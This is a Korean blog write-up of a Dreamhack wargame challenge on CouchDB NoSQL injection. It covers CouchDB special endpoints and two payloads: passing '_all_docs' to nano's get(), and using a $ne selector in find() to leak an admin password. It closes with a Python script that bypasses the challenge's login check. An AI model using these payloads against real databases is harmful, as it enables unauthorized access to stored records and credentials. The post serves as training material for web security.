security/웹해킹

[Dreamhack Wargame] NoSQL-CouchDB

민사민서 2023. 7. 15. 16:39

CouchDB

- HTTP 기반의 서버로 동작, HTTP 메소드를 사용해 요청을 받고 처리함

- users 데이터베이스에 (guest) 값 추가: body에 추가하고자 하는 data 넣어서 POST/PUT 요청 보냄

$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}

- users 데이터베이스의 값 조회: GET 요청 보냄

$ curl http://{username}:{password}@localhost:5984/users/guest
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}

 

CouchDB 특수 구성 요소

/ 인스턴스에 대한 메타 정보를 반환합니다.
/_all_dbs 인스턴스의 데이터베이스 목록을 반환합니다.
/_utils 관리자 페이지 (Fauxton Administration Interface)로 이동합니다.
/{DB 이름} 지정한 데이터베이스에 대한 정보를 반환합니다.
/{DB 이름}/_all_docs 지정한 데이터베이스에 포함된 모든 도큐먼트를 반환합니다.
/{DB 이름}/_find 지정한 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환합니다.

 

CouchDB 공격 기법

1.  데이터베이스의 값을 조회하는 get() 함수

- 전달된 인자에 대해 특수 구성 요소 포함하는지 검사하지 않음

- uid로 의도된 값이 아닌 _all_docs를 건네주었을 경우 데이터베이스 정보 leak 가능

> require('nano')('http://{username}:{password}@localhost:5984').use('users').get('_all_docs', function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
err:  null ,result:  { total_rows: 3,
  offset: 0,
  rows:
   [ { id: '0c1371b65480420e678d00c2770003f3',
       key: '0c1371b65480420e678d00c2770003f3',
       value: [Object] },
     { id: '0c1371b65480420e678d00c277001712',
       key: '0c1371b65480420e678d00c277001712',
       value: [Object] },
     { id: 'guest', key: 'guest', value: [Object] } ] }
*/

2. 전달된 쿼리를 기반으로 데이터베이스의 값을 조회하는 find() 함수

- selector 안의 operator를 사용할 수 있는데, 연산자를 포함한 쿼리문을 전달해 주요 정보 획득 가능

ex) $ne 연산자 사용

> require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'admin', 'upw': {'$ne': ''}}}, function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
undefined
err:  null ,result:  { docs:
   [ { _id: 'admin',
       _rev: '2-142ddb6e06fd298e86fa54f9b3b9d7f2',
       upw: 'secretpassword' } ],
  bookmark:
   'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzJqbkZuaBJDlgkgjhLADVNBDR',
  warning:
   'No matching index found, create an index to optimize query time.' }
*/

 

문제 분석

- index.ejs의 스크립트 코드 일부

$("#form").submit(function( event ) {
    event.preventDefault();
    $("#form").serializeObject()
    $.ajax({
        type:"POST",
        data: JSON.stringify($("#form").serializeObject()),
        dataType:"json",
        url: "/auth",
        contentType:"application/json",
    }).always(function(e){
        const $target = document.getElementById('modal-div');
        document.getElementById('modal-text').innerText = e.responseText;
        openModal($target);
    });
});

폼에 입력된 데이터를 직렬화/JSON화 해서 POST 요청에 담아 보낸다

- app.js

const nano = require('nano')(`http://${process.env.COUCHDB_USER}:${process.env.COUCHDB_PASSWORD}@couchdb:5984`);
const users = nano.db.use('users');

app.post('/auth', function(req, res) {
    users.get(req.body.uid, function(err, result) {
        if (err) {
            console.log(err);
            res.send('error');
            return;
        }
        if (result.upw === req.body.upw) {
            res.send(`FLAG: ${process.env.FLAG}`);
        } else {
            res.send('fail');
        }
    });
});

- req.body.uid를 uid로 하여 DB에서 데이터를 찾아 result에 담는다

- (에러 발생하지 않을 경우) result.upw 와 req.body.upw를 비교하여 일치하면 플래그 출력한다

 

문제 풀이

- uid 로 _all_docs 넘겨준다면 DB에 담긴 모든 도큐먼트가 반환되므로 result 존재, error 발생하지 않는다

- 하지만 result 구조체에는 upw 존재하지 않음 (일반 도큐먼트랑 다름), result.upw === undefined

- req.body.upw === undefined 이면 검사 통과해 플래그 획득 가능

 

풀이 1) burp suite 사용

POST 요청 잡은 후
body 이렇게 수정한 후 forwarding

 

풀이 2) python requests 모듈 사용

import requests

url = "http://host3.dreamhack.games:8849/auth"
data = {
    "uid": "_all_docs"
}

# requests.post(url, json=보낼 데이터, headers=헤더 정보)
print(requests.post(url, json=data).text)